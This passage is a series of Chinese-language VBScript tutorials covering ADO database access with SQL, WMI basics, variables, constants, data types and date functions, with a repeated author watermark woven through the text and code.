Set Objrs = CreateObject("ADODB.Recordset")

4、执行 SQL 查询语句

Sql="SQL 查询语句" '例如：Select count(*) from table1

Set objrs = objconn.execute(sql)

一般情况下，我们将绝大多数的操作转化为 SQL 语句完成。
==========
Vbs 脚本编程简明教程之十七——访问 ADO 数据库之二
常用的 SQL 语句

在学习 SQL 语句之前，让我们先来对数据库做一个基本的了解。一个数据库中可能包含了很多个基本单位叫做表。表格被分为“行”和“列”。每一行代表表的一个单独组成部分，每一列代表相同性质的一组数据。举例来说，如果我们有一个记载顾客资料的表格，行包括姓、名、地址、城市、国家、生日等。而一列则代表了所有的地址或者国家等。

一、建立数据表，我们前边说过利用 ADOX.Catalog 建立数据库和数据表的方法，但是用的似乎不是很多，一般情况下，如果我们需要在数据库中动态建立一个表，我们将工作交给 SQL 语句来做，其基本语法是：

CREATE TABLE [表格名]([列名 1] 数据类型 , [列名 2] 数据类型,...)

例如我们要建立一个基本顾客表：

Create table [顾客表]([姓名] text（8）, [性别] text（2），[住址] text(30))

二、插入数据项

insert into [数据表名称] (数据项 1,数据项 2,...) values (值 1,值 2,...)

insert into 语句用来添加新的数据到数据库中的指定表。通过(数据项 1,数据项 2,...) values (值 1,值 2,...)来为新添加的数据赋初值。

三、删除数据项

delete from [数据表名称] where [数据项 1] like [值 1] and/or [数据项 2] like [值 2] ...作者：临汾市外事旅游局薛靖澜，转载请注明出处]

四、更新数据项

update [数据表名称] set 数据项 1=值 1,数据项 2=值 2,... where [数据项 1] like [值 1] and/or [数据项 2] like [值 2] ...
该语句可以修改数据库中指定数据表内的指定数据，如果不是用 where 限定条件就表示修改该表内所有的数据条目。

五、查询数据项

select [数据内容] from [数据表名称] where [数据项 1] like [值 1] and/or [数据项 2] like [值 2] ... order by [数据项] asc/desc

[数据内容]部分表示所要选取的表格中的数据项，使用*表示选取全部。[数据表名称]表示要从哪一个表格中选取，如果你没有接触过数据库可能很难了解什么是数据表格，没关系，我将在后面用到它的时候再说明。where 表示选取的条件，使用 like 表示相等，也支持>=这样的判断符号，同时使用多个条件进行选取时中间要使用 and 进行连接。order by 决定数据的排列顺序，asc 表示按照[数据项]中的数据顺序排列，desc 表示倒序，默认情况为顺序。select 语句中除 select 和 from 之外其它均为可选项，如果都不填写表示选取该数据表中的全部数据。例如：下面的语句查询某数据库中表名称为：testtable 中姓名为“张三”的 nickname 字段和 email 字段。

SELECT nickname,email FROM testtable WHERE name='张三'

(一) 选择列表 作者：临汾市外事旅游局薛靖澜，转载请注明出处]

选择列表(select_list)指出所查询列，它可以是一组列名列表、星号、表达式、变量(包括局部变量和全局变量)等构成。

1、选择所有列

例如，下面语句显示 testtable 表中所有列的数据：

SELECT * FROM testtable

2、选择部分列并指定它们的显示次序查询结果集合中数据的排列顺序与选择列表中所指定的列名排列顺序相同。

例如：SELECT nickname,email FROM testtable

3、更改列标题 作者：临汾市外事旅游局薛靖澜，转载请注明出处]

在选择列表中，可重新指定列标题。定义格式为：列标题=列名

列名 列标题如果指定的列标题不是标准的标识符格式时，应使用引号定界符，例如，下列语句使用汉字显示列标题：

SELECT 昵称=nickname,电子邮件=email FROM testtable

(二) FROM 子句指定 SELECT 语句查询的表。

最多可指定 256 个表，它们之间用逗号分隔。如果选择列表中存在同名列，这时应使用对象名限定这些列所属的表或视图。例如在 usertable 和 citytable 表中同时存在 cityid 列，在查询两个表中的 cityid 时应加以限定。

==========

Vbs 脚本编程简明教程之十七——访问 ADO 数据库之三

(三) WHERE 子句设置查询条件

WHERE 子句设置查询条件，过滤掉不需要的数据行。例如下面语句查询年龄大于 20 的数据：

SELECT * FROM usertable WHERE age>20

WHERE 子句可包括各种条件运算符：

比较运算符(大小比较)：>、>=、=、<、<=、<>、!>、!<

范围运算符(表达式值是否在指定的范围)：BETWEEN…AND…

NOT BETWEEN…AND…

列表运算符(判断表达式是否为列表中的指定项)：IN (项 1,项 2……)

NOT IN (项 1,项 2……)

模式匹配符(判断值是否与指定的字符通配格式相符):LIKE、NOT LIKE

空值判断符(判断表达式是否为空)：IS NULL、NOT IS NULL

逻辑运算符(用于多条件的逻辑连接)：NOT、AND、OR

1、范围运算符例：age BETWEEN 10 AND 30 相当于 age>=10 AND age<=30 作者：临汾市外事旅游局薛靖澜，转载请注明出处]

2、列表运算符例：country IN ('Germany','China')

3、模式匹配符例：常用于模糊查找，它判断列值是否与指定的字符串格式相匹配。可用于 char、varchar、text、ntext、datetime 和 smalldatetime 等类型查询。 作者：临汾市外事旅游局薛靖澜，转载请注明出处]

可使用以下通配字符：

百分号%：可匹配任意类型和长度的字符，如果是中文，请使用两个百分号即%%。

下划线_：匹配单个任意字符，它常用来限制表达式的字符长度。

方括号[]：指定一个字符、字符串或范围，要求所匹配对象为它们中的任一个。 作者：临汾市外事旅游局薛靖澜，转载请注明出处]

[^]：其取值也[] 相同，但它要求所匹配对象为指定字符以外的任一个字符。

例如：作者：临汾市外事旅游局薛靖澜，转载请注明出处]

限制以 Publishing 结尾，使用 LIKE '%Publishing'

限制以 A 开头：LIKE '[A]%'

限制以 A 开头外：LIKE '[^A]%'

4、空值判断符例 WHERE age IS NULL

5、逻辑运算符：优先级为 NOT、AND、OR

最后，让我们用一个简单的例子结束这篇教程：

```
Objku = InputBox("请输入单位数据库的路径","默认位置","d:\jbqk.mdb")
Set Objconn = createobject("adodb.connection")
Objconn.open ="provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Objku
作者：临汾市外事旅游局薛靖澜，转载请注明出处]
sql = "CREATE TABLE [单位资料](ID Autoincrement PRIMARY KEY,[姓名] text(8),[性别] text(2),[科室] text(6),[住址] text(30))"
Objconn.execute(sql)
sql = "INSERT INTO [单位资料]([姓名],[性别],[科室],[住址]) VALUES('张三','男','行管科','解放路 12 号')"
Objconn.execute(sql)
sql = "INSERT INTO [单位资料]([姓名],[性别],[科室],[住址]) VALUES('李斯','女','市场科','五一路 12 号')"
Objconn.execute(sql)
sql = "DELETE FROM [单位资料] WHERE [姓名] = '张三' "
Objconn.execute(sql)
sql = "UPDATE [单位资料]"
sql = "SELECT COUNT(ID) FROM [单位资料]"
```

==========

WMI 轻松入门之一——基本概念

其实我给文章起这样的名字，绝对没有轻视 WMI 的意思，事实上就连微软也有“WMI 非常难于学习而且更难于使用”的说法，在近日的学习过程中更感觉到了 WMI 检索功能的强大，之所以起个“轻松入门”的名字，我只是有感于外国人写教程在思路上和国人不太一致，西方式的幽默看起来困难无比，再加上一上手就在类的基本结构上展开讨论，吓跑了无数 Vbs 的爱好者，想从国人常见的角度出发来说说怎么学习 WMI 而已。百度空间的长度限制太讨厌了，一次发不完，只好分割成三部分，题目只能大致起了，见谅。作者：临汾市外事旅游局薛靖澜，转载请注明

一、什么是 WMI？微软有很多说法，大家可以到脚本中心查阅，我这样理解， WMI 是一个用于管理 Windows 系统资源的对象，其内部应是一个树状的数据库，数据库中包含了很多个分支，每个分支被称作命名空间，每个命名空间包含了很多个对托管资源的抽象定义，这种定义叫做类。在很多计算机教材中喜欢把类比作建筑蓝图，依据蓝图建造的楼宇叫做类的实例，我更喜欢将类和其实例的关系比作表格，类就是表格的字段定义，而表中的数据就是一个个的类的实例，也许我这样说会让很多朋友更加糊涂，但是依此类推，WMI 中最终存在的是各种软硬件资源的抽象定义，我们利用 WMI，就是要按图索骥，通过类定义，获得类实例，检索出符合要求的属性，调用其内置的方法，实现我们的目标。相信很多朋友已经发现，我将 WMI 等同于 CIM

库了，我清楚他们不是一回事，但我相信这样更容易理解。如图：

二、WMI 的基本结构

严格说来，WMI 由四部分组成：

1、 公共信息模型对象管理器——CIMOM

2、 公共信息模型——CIM

3、 WMI 提供程序

4、 WMI 脚本对象库

其中其第 1、2、3 三个部分，在使用中很少加以区别，我们一般统称为 CIM 库。作者：临汾市外事旅游局薛靖澜，转载请注明

所以我们可以认为 WMI 实际是由两部分组成：CIM 库和 WMI 脚本对象库。在具体使用过程中，我们是通过 WMI 脚本对象库去访问 CIM 库，管理托管的资源。也就是说，在我们编写脚本的过程大致可以分为这么几步：作者：临汾市外事旅游局薛靖澜，转载请注明

1、 创建 WMI 对象脚本库的指针实例；

2、 调用其实例的方法，连接到 CIM 库，并指明需要访问的资源的逻辑位置；

3、 获得托管资源也就是类的实例的集合；

4、 枚举实例，完成工作。

这几个步骤在我们将来编写的代码中可以明确的反映出来。

三、常用的命名空间

命名空间是个很复杂的概念，相信在微软的网站上一定有很多的篇幅介绍这个概念，据我个人理解，命名空间是对类所处逻辑位置的一个约定。打个比方说：张家也有个孩子叫小强,李家也有个孩子小强。大家站在一起,你大声叫"小强",你说这到底是叫哪一个小强呢?张家,李家都是一个姓,一个人的姓实际上就是现实中的一种名字空间。好了,现在你大声叫“张小强”,我们就明确的知道你到底是叫哪一个小强了。这就好比在变量名前加上名字空间前缀。所以可以通俗的说,名字空间就是一个变量的姓氏。问题是这样我们还会碰到一个问题,世界上有很多姓张的,也有可能有很多的张小强,这怎么办呢?这时候我们可以这样说"张老三家的小强",张是一个名字空间,张老三又是张下面的二级名字空间.

张.老三的家.小强 = 110

张.三丰的家.小强= 119

也许说的更糊涂，但大致就这样吧，我本来也就不是说明这个的。

据微软称，WMI 的命名空间共有 16 个，不过不用担心，我们常用的只有两个：作者：临汾市外事旅游局薛靖澜，转载请注明

1、 root\cimv2 在这个命名空间里包括了绝大多数与计算机、操作系统相关联的类。

2、 root\default 管理注册表的类

在使用中，我们用一个字符串表示命名空间，就像文件路径一样。
==========
VBS 脚本参考之一——使用连字符
前言

这一章的前半部分介绍了 VB 脚本最基本的概念，并且告诉你它可以完成的工作，尤其是 VBS 和其它的如 WMI、ADSI 接合在一起的时候。后半部分主要介绍了 VBS 对系统管理员更有用的部分。

许多脚本和程序语言在向文本输入的时候并不严格的遵守文本的行。例如，尽管下面这个 JS 脚本写了很多行，但是，JS 把它当做一行来处理。这是因为，在大部分的时候，JS 只有看到中止符的时候才认为使一个行的中止。在这个例子中，中止符就是“；”。在实际中敲入的行是和脚本本身不相关的。

var 作者：临汾市外事旅游局薛靖澜，转载请注明出处]

objWMI

=new

Enumerator

(GetObject("winmgmts:")

.

InstancesOf("Win32_process"))

;

正好相反，同样的一段代码，用 VB 写的时候就会报一个语法错误。

Set

objWMI

=

(GetObject("winmgmts:")

.

InstancesOf("Win32_process"))

这是因为，VBS 用回车键来代替特定的中止符。为了中止一个 VB 脚本，你不需要来敲入一个分号或者其它的特殊的符号，你只需要敲回车键就好了。一般来讲，不用中止符的限制，使VBS 在编写的过程中变的简单，但是也有一点会有些复杂。为了增强程序的可读性，建议每行的最大长度不超过 80 个字符。那么当你的一行代码中有 100 个字符，怎么办呢？尽管看来好象有个很简单的解决办法，但是你不能用回车键来将一行代码分隔成很多行。例如如下的代码片断会返回一个 VB 运行错误因为它用回车键来分隔脚本

strMessageToDisplay = strUserFirstName, strUserMiddleInitial, strUserLastName,

strCurrentStatus

Wscript.Echo strMessageToDisplay

你不能用回车建来换行，因为在 VB 中它认为回车是代表一段代码的中止，在上面的代码中，它认为第一行是脚本的第一部分陈述内容。然后认为第二行是另外一部分陈述内容。这样因为 strCurrentStatus 不是一个 VBS 的命令，所以就报错了。为了解决这个问题，VB 脚本用下划线来表示下面一行是上面一行的代替。在 VB 的早期修订版本中，在第一行末尾加一个空格和一个下划线来表示第二行是第一行的继续。为更明确的表明这个意思，第二行前面要加四个空格。（这样作是为了可读，你其实不必在继续的行前作特定的标识——就是不用在第二行前加四个空格。） 作者：临汾市外事旅游局薛靖澜，转载请注明出处]

strMessageToDisplay = strUserFirstName, strUserMiddleInitial, strUserLastName, _

strCurrentStatus

Wscript.Echo strMessageToDisplay

当继续的行又引号的时候，它就显的特别复杂。例如，架设你用下划线和空格来分隔一个 WMI 脚本：

Set colServiceList = GetObject("winmgmts:").ExecQuery("SELECT * FROM _

Win32_Service WHERE State = 'Stopped' AND StartMode = 'Auto' ")

如果你运行这个脚本，它会弹出一个错误，因为继续换行符放在了引号中间了，这样它就认为换行符是字符串的一部分。为了分隔这个陈述：

1：在第一行用引号中止，然后插入空格和下划线

2：用 and(&)符号来开始下一行，这表示第二行是第一行字符串的继续

3：在下一行开始之前加入引号 这些引号表示这些陈述是包涵在上面的一行中的，没有了引号，它就 VB 就解释 Win32_Service 是 VB 的陈述语句，因为这个语句不是合法的，所以就产生了错误。修正的版本如下：

Set colServiceList = GetObject("winmgmts:").ExecQuery("SELECT * FROM " _

& "Win32_Service WHERE State = 'Stopped' AND StartMode = 'Auto' ")

用这个办法来换行的时候，在适当的位置插入空格要十分小心。在上面的例子当中，空格是添

加在“from”之后和下一行的引号之前，如果空格向作偏出，那么字符串会被错位的解释（你看 如果将 FROM 和 Win32_Service 连在一起）会像如下的错误：

" SELECT * FROMWin32_Service WHERE State = 'Stopped' AND StartMode = 'Auto'
==========
VBS 脚本参考之二——定义和使用变量
一：Working with Variables

变量是存储在计算器内存中能够存储数据的名称空间。大多数脚本语言允许你隐式的声明变量，使你不用明确的声明就可以使用变量。例如，你运行下面的脚本时候，不会遇到任何类型的错误，尽管它的第一行将一个值赋给了变量 sngDegreesCelsius。尽管它并没有被声明。

sngDegreesCelsius = 11

sngDegreesFahrenheit = ConvertToFahrenheit(sngDegreesCelsius)

Wscript.Echo sngDegreesFahrenheit

Function ConvertToFahrenheit(ByVal sngDegreesCelsius)

ConvertToFahrenheit = (sngDegreesCelsius * (9/5)) + 32

End Function 作者：临汾市外事旅游局薛靖澜，转载请注明出处]

隐式的变量声明可以让写脚本变的快而且简单，但是在同时，它可能导致难以发现和解决的问题。

为了说明这一点，以前面的脚本为例，前面的脚本将摄氏的 11 度转换成华氏的 51.8 度。下面一个脚本本来应该作同样的事情，但是它却返回了一个 32 的值……

sngDegreesCelsius = 11

sngDegreesFahrenheit = ConvertToFahrenheit(sngDegreesCelsius)

Wscript.Echo sngDegreesFahrenheit

Function ConvertToFahrenheit(ByVal sngDegreesCelsius)

ConvertToFahrenheit = (sngDegresCelsius * (9/5)) + 32

End Function

上面一个脚本返回一个错误的值。因为在第六行敲入 sngDegreesCelsius，而在后面却敲入了 sngDegresCelsius，因为这个变量并没有赋值，所以 VB 认为它的值是 0，这样继续算下去，结果为 0，0 再加上 32 所以返回了错误的答案。 像这样的错误很难被发现，因为语法是正确的，所以并没有错误的信息报出来。你期待得到一个 不是 11 的值，并且你得到了。当你写更加复杂的脚本的时候，这个敲入的错误很难被发现和改正。

Declaring Variables in VBScript

为了避免这样的问题发生，你可以显式的声明你的变量。当显示变量声明被要求的时候，脚本

中 所有的变量都必须被显示的声明，否则会再运行的时候报错。

例如，如下的脚本用“Option Explicit ”要求所有的变量被显示的声明，并且所有的变量用一

个 dim 语句。

```
Option Explicit

Dim sngDegreesCelsius

Dim sngDegreesFahrenehit

sngDegreesCelsius = 11

sngDegreesFahrenheit = ConvertToFahrenheit(sngDegreesCelsius)

Wscript.Echo sngDegreesFahrenheit

Function ConvertToFahrenheit(ByVal sngDegreesCelsius)

ConvertToFahrenheit = (sngDegresCelsius * (9/5)) + 32

End Function
```

当你运行这样一个脚本的时候，脚本的主机遇到一个没有声明的变量，这样，脚本中止执行并且 显示出类似下面的一个错误：

```
C:\Scripts\TempConvert.vbs(10, 5) Microsoft VBScript runtime error: Variable is

undefined:

'sngDegresCelsius'
```

在 VB 中声明变量：

1.用 Option Explicit 语句来强制一个变量的声明。

2.用一个单独的 DIM 语句来声明每一个你要用的变量。虽然你只能用一个单独的 dim 来声明一个变量，但是在变量的后面，你可以添加一些解释来说明变量的用途，如下所示：

```
Option Explicit 作者：临汾市外事旅游局薛靖澜，转载请注明出处]

Dim intFirstNumber        ' First number in our simple equation

Dim intSecondNumber ' Second number in our simple equation

Dim intTotal ' Sum of intFirstNumber and intSecondNumber

Initializing Variables
```

初始化一个变量就是简单的给一个变量赋予一个初始值。例如，如下的几行代码初始化了两个变

量，将 x 赋予 100，将 Y 赋予 abcde

X = 100

Y = "abcde"

如果你建立一个变量，但是没有给它初始化，（就是没有赋值给它），那么它的值有一下两种可能：

如果它是一个字符串，那么它的值为空

如果它的值是一个数字，那么它的值是 0.

例如：如下脚本创建了两个变量，X,Y，但是没有赋值给他们：

Dim X

Dim Y

Wscript.Echo X & Y

Wscript.Echo X + Y

在脚本的第三行，这两个变量被认为是字符串，（因为&是用来连接两个字符串的）。当它运行 的时候，它显示入 2.8 所示的信息框。因为两个变量都是空，蔓儿他们的接合也是空。所以结 果就是什么都没有。

在脚本的第四行，这两个变量被认为是数字。数字没有被初始化的时候，他们自动的被赋值为 0。这样，这个行的脚本代表 0+0 的和。

Using the Equals Sign in VBScript

在 VB 脚本中，等号的含义和算数中是不同的。在算数中，x=2+2 是被认为是，x 等于 2 加 2 但是在 VB 中，同样的表达式，被读作：x 被赋值为 2+2 在上面这个例子中，他们并没有什么不同，任何一种办法来说，x 的值都是 4。但是看下面一个 脚本，它用一个 1 到 10 的循环：

For i = 1 to 10

X = X + 1

Next

这个脚本的第二行在算数里面是不可能的，x 怎么可以等于 x+1 哪？原因就是它并不是一个算数表达式，而是一个合法的 VB 表达式，这里的 X 是一个变量被赋予新的值，在这里这个表示 式被读作：

X 被赋值为 x 当前的值加上 1

就是说，如果 x 当前的值为 3，当运行这个表达式之后，它的值就为 4 了，就是 3 加上 1 事

实上，在 VB 中，等号也可以用在对字符串的赋值当中。例如，如下脚本建立一个 message 变量，赋予了它很多字符串的值： 作者：临汾市外事旅游局薛靖澜，转载请注明出处]

```
Message = "This "

Message = Message & "is a "

Message = Message & "test message."

Wscript.Echo Message
```

==========

VBS 脚本参考之三——定义和使用常量

使用常量

常量的意思是在脚本运行的时候，它的值不能改变。例如，如果你有一个脚本将日元转换成美元，假设当前的汇率是 1:0.0088759，你可以在脚本中写上如下的代码：

```
curConvertedPrice = curPriceInYen * 0.00888759
```

尽管这个方法可行，但是它会出现一些问题，原因很多不赘述了，为了防止这样的问题发生，用常量的办法来替代用数直接敲入。如果你改变了这个常量，那么你只是需要在定义常量的一个地方更改它就好了。 作者：临汾市外事旅游局薛靖澜，转载请注明出处]

定义常量

在 VB 脚本中，常量的定义是用一个 const 的表达式后加上常量的名字然后和常量的赋值。当你定义常量的是时候，你必须赋值给它一个数值。你不能给一个常量赋值一个变量，或者是一个程序。例如如下代码，尝试用一个变量 NumberOfDepartments，定义一个常量，会产 生一个 Expected literal constant 的错误

```
NumberOfDepartments = 20

Const NUMBER_OF_DEPARTMENTS = NumberOfDepartments
```

而你可以将 20 赋给这个常量。

```
Const NUMBER_OF_DEPARTMENTS = 20
```

使用固有常量

在 VB 的脚本中有一些固有的常量，用来生成 message box，改变输入格式，或者实现其它一些其它的功能。为了提高程序的可读性，你可能需要用这些常量，而不是它们对应等价的数字。

例如，下面的脚本例子用数字来实现 message box 的显示，然后决定在 message box 中， 哪个按钮被按下了。尽管它可以正常的工作，但是对于不熟悉 VB 脚本的人来说，这个脚本很难懂并且很不好编辑。他们必须知道 260 的意思是：创见一个带有 yes& no 的 message box， 并且第二个按钮是默认的按钮，数字 7 代表用户敲打 NO 那个按钮。

```
ConfirmDelete = MsgBox ("Are you sure you want to delete these files?",260, "Delete all files")
```

If ConfirmDelete = 7 then

Wscript.Quit

End If 作者：临汾市外事旅游局薛靖澜，转载请注明出处]

下面这个修正的脚本用了 VBS 的固有常量。(VBYesNo,VBDefaultButton2,和 VBNo）用来代替数字。这些使脚本看起来简单易懂。

ConfirmDelete = MsgBox ("Are you sure you want to delete these files?", _

VbYesNo OR VBDefaultButton2, "Delete all files")

If ConfirmDelete = VbNo then

Wscript.Quit

End If

用固有常量同样可以帮助你防止当脚本 Update 的时候使脚本实现中断。脚本的常量基本上不可能发生变化。几乎不可能将 VbYesNo 变成 VbNoYes。但是这些常量对应的值会在脚本下次更新的时候更换。用系统常量的时候也方便和其它出现的语言的脚本合并，例如，在 VB 脚本中，1 用来代表 true。在 visual basic.net，true 也等于 1。用 true 这个固有常量，比用硬编码 1 更加容易实现二者之间的转换。 大部分的时候，你会发现你经常重复的使用到如下两个固有常量：

1、VbCrLf.这个等同于按下回车键。它经常用来更改输出显示的格式。例如，如下代码用来显示一行文字，一个空的行，然后再显示一行文字

Wscript.Echo "This is the first line of text." & VbCrLF & VbCrLF & _

"This is the second line of text."

2、VbTab 这个常量等同于按下 TAB 键，例如，如下代码来建立三个空格： 作者：临汾市外事旅游局薛靖澜，转载请注明出处]

Wscript.Echo " 1" & VbTab & " 2" & VbTab & " 3"

Wscript.Echo "A" & VbTab & "B" & VbTab & "C"

Wscript.Echo "D" & VbTab & "E" & VbTab & "F"

当上面这个脚本运行的时候，它将显示如下：

1 2 3

A B C

D E F

这些固有常量只有在用 VB 写的时候才有用，它没有权力去用类似 WMI,ADSI 或者脚本的自

动控制的对象。在用 VB 脚本写的时候，你可以不用定义就使用 Vb 当中固有的常量，比如 VbCrlf,VbYesNo,但是，当你用 WMI,ADSI 当中常量的时候，你必须显式的声明这些常量。

例如，在 Script Runtime Drive 对象当中有个固有常量 fixed 用来表示 fixed disk drive，Script Runtime 可以用这个 fixed 而不需要显式的声明，不用赋值给它……

因为 VB 脚本没有权力访问这个常量，所以任何试图不去定义就访问这个常量的脚本都会失败或者遇到一个错误。例如，如下的脚本可以运行，但是不能标识任何一个你计算器上的 fixed 硬盘。

```
Set objFSO = CreateObject("Scripting.FileSystemObject")

Set colDiskDrives = objFSO.Drives

For Each objDiskDrive in colDiskDrives

If objDiskDrive.DriveType = Fixed then

Wscript.Echo objDiskDrive.DriveLetter

End if

Next
```

这个脚本会执行失败，因为 VB 脚本并不知道 Fixexd 这个系统常量的值是 2，取而代之的是将 这个阿常量认为是一个变量。除非你把这个常量赋值，否则它的值就是 empty.在这个例子中，VB 将寻找 DriveType property 的值等于 0 而不是去寻找等于 2，因为 VB 找不到任何这样属 性的 drives，脚本就没有返回任何的数据…… 为了使这个脚本工作，你必须创建一个你自己的常量，叫作 fixed，并且显式的赋值给它为 2， 如下面的事例：

```
Const Fixed = 2

Set objFSO = CreateObject("Scripting.FileSystemObject")

Set colDiskDrives = objFSO.Drives

For Each objDiskDrive in colDiskDrives

If objDiskDrive.DriveType = Fixed then

Wscript.Echo objDiskDrive.DriveLetter

End if

Next
```

==========

VBS 脚本参考之四——脚本的数据类型

VBScript 的数据类型

VBS 是一个有着很少数据类型的脚本语言，其并不限制变量为一种单一的数据类型。VBS 不允许你定义一个特定数据类型的变量。实际上，VB 脚本只有一种变量类型，叫作 variant，它可

以存储任何类型的数据。与其相反，其它程序语言比如 C++是一个对数据类型要求很严格的，因为你必须事先定义变量能存储的数据类型。如果你试图存储任何数据在一个变量上，它将会报错。如果你已经将一个变量赋予特定的数字数据，那么你再将字母变量赋值给它的时候，它将崩溃。作者：临汾市外事旅游局薛靖澜，转载请注明

Variants 可以使脚本编写变得简单。你可以在没有定义数据类型的时候宣告并使用。但是如果你不了解数据类型的强制过程，那么 variants 会导致一系列的问题。

脚本语言所说的脚本无类，其实是针对脚本编写的人员来说的，对于脚本内部来讲，脚本还是要依照数据类型来工作。例如下面这个简单的表达式 c= a + b 脚本语言必须给 a,b 都赋 值（有一定数据类型的值），也就是说，它必须建立并确定这两个数值是为 integer 还是 string。当这些值被定下来之后，它才可以执行相关的操作。

脚本的数据类型赋值的初始化过程是一种数据类型强制转换的过程。数据类型的强制过程是基于特定的规则的，大部分的时候，VB 脚本可以很顺利的完成这个任务。作者：临汾市外事旅游局薛靖澜，转载请注明

但是，类型转换一样会导致问题的发生，例如下面这个例子：

```
intFirstNumber = InputBox("Please enter the first number:")

intSecondNumber = InputBox("Please enter the second number:")

intTotal = intFirstNumber + intSecondNumberi

Wscript.Echo intTotal
```

如果你运行这个脚本，并且先后键入 4,2，那么计算器会回显一个 42 来作为 4+2 的结果，而不是你期待的 6。

这是因为，加法运算对于 number 和 string 来说都是合法的。VB 脚本给了 4,2 两个值，但是它不知道数据类型，于是，在没有其它的关于数据类型的相关信息的情况下，VB 脚本就用类型强制的办法将这两个变量转换成了 string 数据。

与其相反，如果你在下面一小段代码中键入 4,2 它将会返回正确 2，这是因为除法运算只是针对 numbers 来作的，所以 VB 就用数据强制正确的将这两个变量转换成了 number 数据。

```
intFirstNumber = InputBox("Please enter the first number:")

intSecondNumber = InputBox("Please enter the second number:")

intTotal = intFirstNumber / intSecondNumber

Wscript.Echo intTotal
```

为了避免类似的数据强制的时候发生问题，你需要显式的声明一个变量，这个过程叫做类型初始化。例如如下的 VB 代码用 VB 脚本的 CInt 来在他们想加之前将输入的变量转换为整数型。

```
intFirstNumber = CInt(InputBox("Please enter the first number:"))
```

intSecondNumber = CInt(InputBox("Please enter the second number:")) 作者：临汾市外事旅游局薛靖澜，转载请注明

intTotal = intFirstNumber + intSecondNumber

Wscript.Echo intTotal

此类常见的函数有：Cbool、Cbyte、Ccur、Cdate、CDbl、Cint、CLng、CSng、CStr 等。

了解 empty 和 Null 之间的不同，对于你脚本的成功与否，起着关键的作用。Empty 变量是一个没有初始化的变量，录入，你用 dim 语句定义一个 curBonus 的变量，这个变量在没有赋给它特定的值的时候，它就是 empty 的。一个 empty 的变量在数据强制的时候，如果是 number 变量就赋值给它 0，如果是 string 的时候，就赋值给它"" （空）。

与其相反，Null 是一个没有合法的赋值的变量。典型的 null 是从数据库操作中产生的。假如你查询一个数据库，想返回一个当前的分红给一个特定的员工，并且将这个值赋给 curBonus，如 果没有分红被分配（赋值），那么变量 curBonus 就是 Null.注意，curBonus 可以是 0,但是你 不能确定它就是 0。你不能假定它的值是 0,因为，有可能的是它实际上有 5000 美元的分红， 但是这个值还没有被输入到数据库中。这就是为什么 VB 脚本要将 empty null 这二者加以区别的原因。 二者的区别在数字运算的时候就更加的明显。例如，在下面的脚本片断中，curBonus 被设置成 empty，然后将它加上 curBaseSalary(50000),那么计算的结果是：50000 + 0 = 50000

curBonus = Empty

curBaseSalary = 50000

curTotalCompensation = curBaseSalary + curBonus

Wscript.Echo TotalCompensation

在下面的版本中，继续同样的操作，只是将 curBonus 的值设定成 Null，当你再次运行这个脚本的时候，你会发现你不是得到结果 50000,而是 Null.任何时候，Null 这个变量在参与数字运算的时候，它的结果是 null 这是因为你并不知道 NULL 的真正的值，你不能将它的值赋予为 0，因为你不知道它的值是否真 的是 0。因为你不知道它的值，也就不知道它计算的结果，这样结果只能是 null.（你可以这样 认为：null 的含义是：我不知道。）

curBonus = Null

curBaseSalary = 50000

curTotalCompensation = curBaseSalary + curBonus

Wscript.Echo TotalCompensation

Null 值在和数据库和 ADSI 一起工作的时候就会出现错误。幸运的是，你可以使用 IsNull 的办法来确定这个变量是否为 Null.例如，下面的脚本来检察 curBonus 是否为 null，如果值是 null 的话，那么赋值给它为 0。这样可以使他们在计算中生效。当然你也可以选择来回显一个信息框：No bonus information available for this employee."

curBonus = Null 作者：临汾市外事旅游局薛靖澜，转载请注明

curBaseSalary = 50000

If IsNull(curBonus) Then

CurBonus = 0

End If

curTotalCompensation = curBaseSalary + curBonus

Wscript.Echo curTotalCompensation
==========
VBS 脚本参考之五——时间和日期
VB 脚本用以下三个功能来标识当前的日期，时间或者全部。

Now – 获得当前的日期和时间

Date – 获得当前的日期

Time –返回当前的时间

如：DateInfo = DateInfo & Now & VbCrLf

DateInfo = DateInfo & Date & VbCrLf

DateInfo = DateInfo & Time & VbCrLf

Wscript.Echo DateInfo

Verifying That a Value Is a Date

在用 dates 工作的时候，确定这个数据是时间还是其他是非常重要的。这个对于 WMI 查询和对数据库进行相关操作的时候十分重要。在这些情况下，如果你使用了非法的日期类型，脚本将会报错。而 IsDate 的功能就是告诉你这个数据是不是一个日期的值。当这个值不是一个日期的时候，他返回一个 false(0)，如果是一个日期，就返回一个 true(1),日期的值可以用以下方法标识：用＃号来标识时间。这是一种被推荐的办法。因为这样的办法消除了防止 VB 脚本将其它非日期的数据解释成日期的可能。如：

#9/3/2002# ，说明：中文系统格式为＃年/月/日＃。

当然为了确保日期的格式合法，你也可以打开计算机“区域和语言”选项，然后选择自定义，来进行设置。

下面这个脚本创建一个数组，然后列举里面的数值。这个脚本用 IsDate 来决定是不是为合法的日期，并且回显出来这个合法的日期和一段消息，来表示这个是合法的日期。

DateArray = Array("6/1/2002", "June 1, 2002", "6", "6/1")

```
For Each dtmDate in DateArray

If IsDate(dtmDate) = 0 Then

Wscript.Echo dtmDate & " is not a valid date."

Else

Wscript.Echo dtmDate & " is a valid date."

End If

Next
```

说明：为什么 6/1 也是一个合法的日期？因为在 vb 脚本中使用 IsDate 函数的时候，如果脚本遇到一个似是而非的日期时如 6/1 的 month/day 的时候， 他自动的添加当前的年份，而变成了 month/day/year，在上面的这个脚本中，运行的年份是 2002 年，所以这个日期就变成了 6/1/2002，这个是一个合法的日期。

Retrieving Specific Portions of a Date and Time Value

大部分的时候，你所感兴趣的只是时间或者日期的一部分。例如，你可能有一个备份的脚本，只有在周日或者不是周末的时候来备份你的数据。这样，你可能每天都获得你的事件日志，在每月的 15,30 号清除日志。

VB 脚本用两种特别的办法来的获得当前的日期和时间的一部分。DatePart 函数可以获得当前日期时间的任何部分。此外 VB 脚本还提供了其它诸如：Day ,Month,Year 这样的函数来获得日期或者时间的一部分。DatePart 可以获得当前日期时间的特殊部分，它要求两个参数：

Yyyy－年份，返回当前的时间值的年份

q－季度，返回当前季度。

m－月份，返回当前的月份信息

1 – January 2 – February 3 – March 4 – April

5 – May 6 – June 7 – July 8 – August

9 – September 10 – October 11 – November 12 - December

y－一年中的多少天，返回当前日期的数值。从 1 月 1 号起算到 12 月 31 号为止。如 2 月 1 号是这个年的第 32 天。

d－日。返回是这个月的多少天。例如 4 月 17 日，则返回 17

w－周几，返回当前周的周几的信息。

1 – Sunday 2 – Monday 3 – Tuesday 4 - Wednesday

